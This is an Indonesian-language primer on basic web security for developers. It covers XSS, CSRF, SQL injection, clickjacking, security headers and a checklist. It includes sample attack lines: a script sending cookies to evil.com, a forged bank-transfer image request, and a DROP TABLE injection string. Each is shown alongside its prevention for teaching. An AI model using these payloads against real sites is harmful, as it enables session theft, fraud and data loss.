Keamanan web bukan opsional — setiap developer harus memahami ancaman dasar dan cara mencegahnya. Di sini kita bahas gambaran besar sebelum kamu mendalami topik security yang lebih spesifik.
Ancaman utama (OWASP Top Threats):
1. XSS (Cross-Site Scripting) Attacker menyisipkan script jahat ke halaman yang dilihat user lain.
<!-- Input user yang tidak di-sanitize: -->
<p>Halo, <script>fetch("https://evil.com?cookie="+document.cookie)</script></p>
<!-- Pencegahan: escape output! -->
<p>Halo, <script>...</script></p>
Pencegahan: selalu escape/sanitize output, gunakan CSP header.
2. CSRF (Cross-Site Request Forgery) Website jahat mengirim request ke website kamu menggunakan cookie user yang sedang login.
<!-- Di website jahat: -->
<img src="https://bank.com/transfer?to=hacker&amount=1000000">
Pencegahan: gunakan CSRF token, SameSite cookie.
3. SQL Injection Input user dimasukkan langsung ke query SQL.
// BERBAHAYA:
const query = "SELECT * FROM users WHERE name = '" + userInput + "'";
// Jika userInput = "'; DROP TABLE users; --" → bahaya!
// AMAN: gunakan parameterized query
db.query("SELECT * FROM users WHERE name = ?", [userInput]);
4. Clickjacking Website kamu dimuat di iframe transparan di atas website palsu, sehingga user tanpa sadar mengklik tombol di website kamu.
Pencegahan: X-Frame-Options: DENY atau Content-Security-Policy: frame-ancestors 'none'
Security headers penting:
Content-Security-Policy: default-src 'self'; script-src 'self'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Strict-Transport-Security: max-age=31536000; includeSubDomains
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=()
Checklist keamanan dasar:
- Selalu gunakan HTTPS
- Validasi dan sanitize semua input user
- Gunakan parameterized query (jangan pernah string concatenation untuk SQL)
- Set security headers
- Jangan expose error details di production
- Update dependencies secara berkala (cek
npm audit) - Gunakan HttpOnly + Secure + SameSite untuk cookie sensitif
- Implementasikan rate limiting untuk mencegah brute force
Prinsip: Never trust user input. Setiap data dari client (form, URL, cookies, headers) harus divalidasi di server.